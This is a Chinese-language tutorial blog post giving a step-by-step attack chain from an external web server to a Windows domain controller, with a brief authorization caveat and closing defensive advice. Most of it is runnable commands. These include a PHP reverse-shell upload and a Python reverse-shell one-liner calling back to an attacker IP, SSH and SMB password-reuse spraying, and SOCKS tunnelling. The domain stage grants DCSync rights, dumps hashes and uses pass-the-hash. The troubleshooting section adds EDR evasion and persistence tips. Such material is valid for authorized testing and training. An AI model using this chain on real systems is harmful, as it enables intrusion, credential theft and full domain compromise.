从外网到域控:基于Kali的完整内网渗透攻击链实战解析

1. 项目概述与核心思路

最近在整理内部安全评估的复盘笔记,发现很多刚入行的朋友对内网渗透的整体链路理解比较碎片化,要么只会用Nmap扫一扫,要么拿到一个点就不知道怎么深入了。正好借着这次复盘,我把一次从外部入口点到最终拿下域控的完整攻击链梳理出来,所有步骤都基于Kali Linux,并附上每一步的详细命令和参数解释。这不仅仅是一个“命令集”,更重要的是理解每个环节的意图、可选的工具以及为什么这么做,这样才能在面对不同环境时灵活变通。无论你是负责红队演练、渗透测试还是想提升自己的防御视野,这条链路都能提供一个清晰的框架。

整个攻击链可以抽象为几个经典阶段:信息收集、外部突破、内网横向移动、权限提升、域环境渗透与最终控制。本次模拟的环境是一个常见的混合网络:一个对外提供Web服务的DMZ区服务器,通过它作为跳板进入内部办公网络,最终目标是位于核心区域的域控制器。我会重点拆解每个阶段的关键技术选型、命令细节以及实操中容易踩坑的地方。记住,工具是死的,思路是活的,所有命令都需要根据实际情况调整。

2. 第一阶段:外部信息收集与脆弱点定位

在发起任何测试之前,获得客户明确、书面的授权是绝对的前提。没有授权,下文所有操作都是非法的。获得授权后,我们首先需要划定测试范围,通常是一个IP地址或一个域名。假设我们的目标是 target-company.com

2.1 基础信息枚举

首先进行被动信息收集,避免过早触发目标的告警系统。这里主要利用公开资源。

子域名发现 :子域名往往能暴露测试、开发、备份甚至管理后台等不那么显眼的入口点,这些入口点的安全防护可能较弱。

# 使用 assetfinder 收集子域名
assetfinder --subs-only target-company.com > subdomains.txt

# 使用 subfinder (速度更快,源更多)
subfinder -d target-company.com -o subdomains_subfinder.txt

# 合并去重
cat subdomains*.txt | sort -u > final_subdomains.txt

实操心得 :不要只依赖一个工具。我会将 assetfinder subfinder amass 甚至 sublist3r 的结果合并,再进行去重,这样覆盖面最广。有时候,一个不起眼的 dev.target-company.com test.target-company.com 就是整个内网的突破口。

端口与服务扫描 :确定存活主机和开放端口是必经之路。我习惯分层次进行扫描。

# 1. 快速存活扫描,使用ping和TCP SYN扫描,速度快
sudo nmap -sn -PS22,80,443,3389,445 -iL final_subdomains.txt -oA alive_hosts
# -sn: 不进行端口扫描,只做主机发现
# -PS: TCP SYN Ping,探测指定端口
# -iL: 从文件读取主机列表
# -oA: 输出所有格式(nmap, gnmap, xml)

# 2. 对存活主机进行全端口扫描,这是耗时最长的步骤,但至关重要
sudo nmap -p- -sS -T4 --min-rate 1000 -iL alive_hosts.gnmap -oA full_port_scan
# -p-: 扫描所有65535个端口
# -sS: TCP SYN扫描,半开连接,相对隐蔽
# -T4: 时间模板,平衡速度和隐蔽性
# --min-rate 1000: 每秒至少发送1000个包,加速扫描

# 3. 对发现的开放端口进行服务和版本探测
sudo nmap -sV -sC -O -p `cat open_ports.txt` -iL alive_hosts.gnmap -oA service_version_scan
# -sV: 版本探测
# -sC: 使用默认脚本进行漏洞探测
# -O: 操作系统探测
# `cat open_ports.txt`: 假设我们已经从全端口扫描结果中提取了所有开放端口,合并成一个字符串如 “80,443,8080,22”

注意 :全端口扫描在网络中流量特征非常明显,务必在授权允许的时间窗口(如业务低峰期)进行。 -T4 --min-rate 会显著增加扫描速度,但也会增加被IPS/IDS封禁的风险。在敏感环境中,可以考虑使用 -T2 -T3 ,并分散扫描源IP。

2.2 Web应用重点侦察

对于开放的80、443、8080、8443等Web端口,需要深入侦察。

# 使用 Gobuster 进行目录和子目录爆破
gobuster dir -u https://target-company.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,js,bak,old
# dir: 目录爆破模式
# -u: 目标URL
# -w: 字典路径
# -t: 线程数
# -x: 尝试的扩展名

# 使用 Nikto 进行快速漏洞扫描
nikto -h https://target-company.com -o nikto_scan.html

常见问题 :Gobuster跑不出结果?可能是字典不对或目标有WAF。尝试更换更全面的字典,如 directory-list-2.3-medium.txt ,或者使用 ffuf ,它性能更强,过滤规则更灵活。Nikto的扫描结果通常有很多误报,需要人工逐一验证,但它能快速给出一个风险概览。

3. 第二阶段:初始突破与立足点获取

假设通过信息收集,我们发现 webapp.target-company.com 存在一个登录界面,并且通过目录扫描发现了 /backup/ 目录,里面有一个 www.zip 的网站备份文件。

3.1 源码泄露与漏洞分析

下载并分析备份文件,是白盒测试的绝佳起点。

wget https://webapp.target-company.com/backup/www.zip
unzip www.zip

在源码中,我们发现了以下关键信息:

  1. 数据库配置文件 config.php :硬编码了数据库连接字符串 mysql://webapp_user:SuperSecretPass123@192.168.10.5:3306/webapp_db
  2. 这是一个内网IP 192.168.10.5 ,说明Web服务器可以访问内部网络。
  3. 密码 SuperSecretPass123 可能在别处复用。

3.2 利用漏洞获取Shell

进一步审计源码,发现一个文件上传功能未对文件类型做严格检查,仅在前端用JS验证。我们可以直接上传一个PHP Webshell。

# 制作一个简单的PHP反向Shell (reverse_shell.php)
# 内容如下:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.0.100'; // 你的Kali IP
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
...
// 此处是标准的PHP反向Shell代码,篇幅所略
?>

在Kali上启动监听:

sudo nc -nvlp 4444

然后通过Burp Suite拦截上传请求,修改文件扩展名或内容类型,上传 reverse_shell.php 。访问上传后的文件,成功在Kali的nc监听器上获得一个反向Shell连接。

connect to [10.0.0.100] from (UNKNOWN) [203.0.113.10] 45678
Linux webserver 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@webserver:/var/www/html/uploads$

踩坑记录 :获得的Shell往往是“哑巴Shell”,没有交互能力,按上箭头键会出现 ^[[A 乱码,也无法运行 su 等命令。必须立即进行Shell升级。

# 在获得的Shell中执行
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 或者如果只有python
python -c 'import pty; pty.spawn("/bin/bash")'
# 然后按 Ctrl+Z 挂起
# 在Kali终端中输入
stty raw -echo; fg
# 最后重置终端
reset

现在,我们有了一个相对稳定的Shell,用户是 www-data

4. 第三阶段:内网横向移动与信息搜集

拿到第一个立足点(跳板机)后,工作重心转向内网。首要任务是绘制内网地图并搜集凭证。

4.1 内网主机与端口发现

从跳板机内部进行扫描,比从外部扫描更直接,能发现更多不对外暴露的服务。

# 1. 查看当前网络配置,确定网段
ip addr show
cat /etc/networks
# 假设发现内网网卡 IP: 192.168.10.10/24

# 2. 使用跳板机上的工具进行内网扫描(如果已安装nmap)
nmap -sn 192.168.10.0/24
# 如果没有nmap,可以用简单的shell脚本
for i in {1..254}; do ping -c 1 -W 1 192.168.10.$i | grep "from" & done

# 3. 对关键IP(如DC可能的IP段、数据库IP)进行端口扫描
# 将nmap静态二进制文件上传到跳板机(如果目标机没有)
# 在Kali上:cp /usr/bin/nmap .
# 在跳板机Shell中,使用Python的SimpleHTTPServer或wget从Kali下载
python3 -m http.server 8000
# 在跳板机Shell中:wget http://10.0.0.100:8000/nmap
chmod +x nmap
./nmap -sS -p 22,80,135,139,445,3389,5985,5986 192.168.10.1-50

注意事项 :内网扫描同样要控制节奏。大量并发扫描可能触发内网安全设备(如HIDS)的告警。建议分批次、分时段进行,优先扫描高价值目标(如DNS服务器、文件服务器、管理终端)。

4.2 凭证搜集与密码复用

这是横向移动的关键。利用之前发现的数据库密码 SuperSecretPass123

# 1. 尝试SSH密码复用
# 在跳板机上安装或使用已有的sshpass
for ip in $(cat found_ips.txt); do
  sshpass -p 'SuperSecretPass123' ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no user@$ip "hostname" && echo "[+] $ip - Success with user:user" >> success.txt
  sshpass -p 'SuperSecretPass123' ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no administrator@$ip "hostname" && echo "[+] $ip - Success with user:administrator" >> success.txt
done

# 2. 尝试SMB/WinRM密码复用(如果发现Windows主机)
# 使用 crackmapexec,这是内网渗透的神器
# 在Kali上运行,指定跳板机作为代理,或者将工具上传至跳板机(如果是Windows跳板机,可用其Windows版本)
crackmapexec smb 192.168.10.0/24 -u 'administrator' -p 'SuperSecretPass123' --local-auth
# --local-auth: 尝试本地管理员账户,而非域账户
crackmapexec winrm 192.168.10.0/24 -u 'administrator' -p 'SuperSecretPass123'

运气好的话,我们发现一台IP为 192.168.10.20 的Windows服务器(可能是一台文件服务器或应用服务器)的本地管理员账户使用了相同的密码。

4.3 建立持久化通道与代理

直接通过Web Shell操作不稳定,我们需要建立一个更可靠、功能更全的通道。

# 1. 在跳板机(Linux)上上传并运行SOCKS代理工具,如frp或ew
# 以frp为例,在Kali(服务端)配置 frps.ini
[common]
bind_port = 7000
# 在跳板机(客户端)配置 frpc.ini
[common]
server_addr = 10.0.0.100
server_port = 7000
[socks5_proxy]
type = tcp
remote_port = 1080
plugin = socks5
# 运行后,我们就在Kali上拥有了一个通过跳板机访问内网的SOCKS5代理(127.0.0.1:1080)

# 2. 配置Proxychains,让所有工具流量都走这个代理
vim /etc/proxychains4.conf
# 在末尾添加
socks5 127.0.0.1 1080

现在,我们可以使用 proxychains 前缀来让任何命令行工具通过代理访问内网资源,例如 proxychains nmap -sT -Pn 192.168.20.10

5. 第四阶段:域环境渗透与权限提升

通过 crackmapexec ,我们确认 192.168.10.20 是一台已加入域的计算机,主机名 FILESRV01 ,域名 CORP.LOCAL 。我们的目标转向域控制器。

5.1 域内信息枚举

首先,我们需要了解域的基本结构。

# 通过已攻陷的主机,使用Windows自带的命令或上传PowerShell脚本
# 方法A:使用impacket套件中的工具,从Kali通过代理发起查询
proxychains python3 /usr/share/doc/python3-impacket/examples/samrdump.py CORP.LOCAL/administrator:SuperSecretPass123@192.168.10.20
# 此命令可能失败,因为密码错误或权限不足

# 方法B:在已控的Windows主机上执行命令(通过WinRM或psexec)
# 使用crackmapexec执行命令
crackmapexec winrm 192.168.10.20 -u 'administrator' -p 'SuperSecretPass123' -X 'whoami /groups'
# 确认我们是否有域用户权限

# 如果获得了域用户凭证,可以使用 bloodhound-python 收集域内关系数据
proxychains bloodhound-python -d CORP.LOCAL -u '域用户名' -p '域用户密码' -ns 192.168.10.1 --zip
# -ns: 指定域名服务器IP
# --zip: 打包成zip文件

将生成的zip文件导入到Kali上的BloodHound图形化界面中,可以直观地看到用户、组、计算机之间的复杂关系,特别是“通向域管理员的最短路径”。

5.2 利用域内漏洞提权

BloodHound分析显示,我们当前控制的 FILESRV01$ 计算机账户所在的组,对域内某个OU具有“写入DACL”的权限,这允许我们修改该OU内对象(比如一个用户)的权限,进而为该用户添加“复制目录更改”的权限(DCSync),从而可以导出域内所有用户的哈希。

实施步骤:

  1. 添加一个域用户 (如果我们还没有)或利用一个现有低权限用户。
  2. 授予该用户DCSync权限
  3. 利用DCSync导出域哈希
# 步骤1&2:使用 impacket 的 dacledit.py 脚本(需要域用户凭证和特定权限)
# 假设我们通过某种方式(如LSASS内存转储)获得了另一个域用户的凭证 user1:Password123
proxychains python3 /opt/impacket/examples/dacledit.py -action 'write' -rights 'DCSync' -principal 'user1' -target-dn 'OU=Servers,DC=CORP,DC=LOCAL' 'CORP.LOCAL/administrator:SuperSecretPass123@192.168.10.20'
# 这个命令非常复杂且高度依赖环境,实际中更常用的是使用PowerShell的PowerView模块

# 更通用的方法是:在已控的Windows主机上执行PowerShell命令
# 上传 PowerView.ps1 后,在PowerShell中执行
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity user1 -Rights DCSync

关键原理 :DCSync是域控制器复制数据时使用的协议,拥有此权限的用户可以模拟域控制器,向其他DC请求同步用户密码哈希数据。这是获取域管哈希的最有效方法之一。

# 步骤3:使用 secretsdump.py 执行DCSync攻击
proxychains python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -dc-ip 192.168.20.1 -just-dc-user 'administrator' 'CORP.LOCAL/user1:Password123@192.168.20.1'
# -dc-ip: 指定域控制器IP
# -just-dc-user: 只导出指定用户(如域管理员)的哈希
# 如果成功,将返回域管理员账户的NTLM哈希(例如:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)

重要警告 :DCSync攻击动静极大,会直接在域控制器的事件日志中产生明显的告警事件(ID 4662)。在真实的红队评估中,这通常是收尾前的“雷霆一击”,需要协调好时间。

5.3 哈希传递与域控控制

拿到域管理员的NTLM哈希后,我们无需破解密码,可以直接使用“哈希传递”攻击登录域控制器。

# 使用 wmiexec.py 进行哈希传递,获取域控的Shell
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'CORP.LOCAL/administrator@192.168.20.1'
# 执行后,将获得一个具有域管理员权限的交互式Shell

# 或者使用 crackmapexec 验证权限并执行命令
proxychains crackmapexec smb 192.168.20.1 -u 'administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' -d 'CORP.LOCAL' -x 'whoami'

至此,我们已经完全控制了域控制器,可以导出所有域用户哈希、创建黄金票据、安装后门等。

6. 常见问题、排查技巧与防御思考

在实际操作中,绝不会像实验室环境一样顺利。以下是一些常见问题及排查思路。

6.1 扫描与连接问题

问题1:Nmap扫描速度极慢或无结果。

  • 排查 :检查网络连通性 ping ;使用 -Pn 参数跳过主机发现(假设主机存活);降低扫描强度 -T2 ;检查是否有防火墙丢弃了ICMP或特定端口的数据包。
  • 技巧 :对于大型网络,先使用 masscan 进行极速的全端口扫描确定开放端口,再用 nmap 进行精细的服务和版本探测。 masscan -p1-65535 10.0.0.0/8 --rate=1000 -oG masscan.out

问题2:反向Shell连接成功但立即断开。

  • 排查 :可能是目标出口防火墙或本机入站防火墙规则限制了连接。尝试使用更常见的端口(如443、53、80)进行反弹。使用 nc -nvlp 443 监听,并在Webshell中使用 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.100",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  • 技巧 :使用加密的、更稳定的反向Shell工具,如 msfvenom 生成 meterpreter 载荷,或使用 socat

6.2 横向移动与权限问题

问题3:密码复用攻击不成功。

  • 排查 :密码可能已更改;目标系统启用了网络访问保护(如NLA for RDP);账户被锁定或禁用。
  • 技巧 :不要只尝试一个密码。利用之前信息收集阶段可能找到的邮箱、文档、配置文件中的密码字典进行尝试。使用 hydra medusa 进行更系统的爆破,但要注意锁定策略。

问题4:无法在域内执行BloodHound数据收集。

  • 排查 :当前用户权限不足;目标主机防火墙阻止了必要的端口(如LDAP的389/636,SMB的445);网络策略服务器(NPS)有访问限制。
  • 技巧 :尝试使用不同的收集器,如 SharpHound.exe (Windows原生二进制文件),它可能绕过一些应用白名单。如果网络不通,可能需要先进行端口转发。

6.3 后渗透与持久化问题

问题5:获得的权限被安全软件拦截或清除。

  • 排查 :EDR/AV检测到了恶意进程或行为。
  • 技巧 :使用“无文件”攻击、内存执行、进程注入、合法软件白名单劫持(LOLBAS)等技术。例如,使用 msfvenom 生成 shellcode ,通过 PowerShell 反射加载到内存中。定期创建多个持久化后门,分布在不同的位置和方式上。

6.4 从攻击者视角看防御

走完整个攻击链,最大的体会是:防御必须体系化,任何一个薄弱环节都可能被突破。

  1. 边界防御 :严格限制对外开放的端口和服务,定期进行漏洞扫描和修复。Web应用防火墙能有效阻挡自动化扫描和常见Web攻击。
  2. 强身份认证 :杜绝弱口令和密码复用。启用多因素认证,特别是对VPN、邮箱、关键服务器等入口。
  3. 网络分段与微隔离 :将网络划分为不同的信任区域(如互联网、DMZ、内网、核心区),区域间通过防火墙严格控制访问。即使Web服务器被攻陷,攻击者也不能直接访问核心数据库或域控。
  4. 最小权限原则 :无论是用户账户还是服务账户,只赋予其完成工作所必需的最小权限。定期审计权限分配,特别是像 DCSync AdminSDHolder 修改这类高危权限。
  5. 日志监控与威胁狩猎 :集中收集和分析日志。攻击链中的很多步骤(如异常登录时间、大量扫描流量、DCSync事件)都会产生日志告警。不能只依赖自动告警,需要主动进行威胁狩猎,寻找潜伏的迹象。
  6. 终端检测与响应 :在服务器和终端上部署EDR,能够检测和阻止进程注入、凭证窃取、横向移动等恶意行为。

这条攻击链展示了一次理想化的、阻力较小的渗透过程。现实中,企业网络往往更复杂,防御措施也更完善。但理解攻击者的完整思路和工具链,是构建有效防御的基石。每次测试后,除了修复具体漏洞,更要思考如何打破整个攻击链条,提升整体的安全水位。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值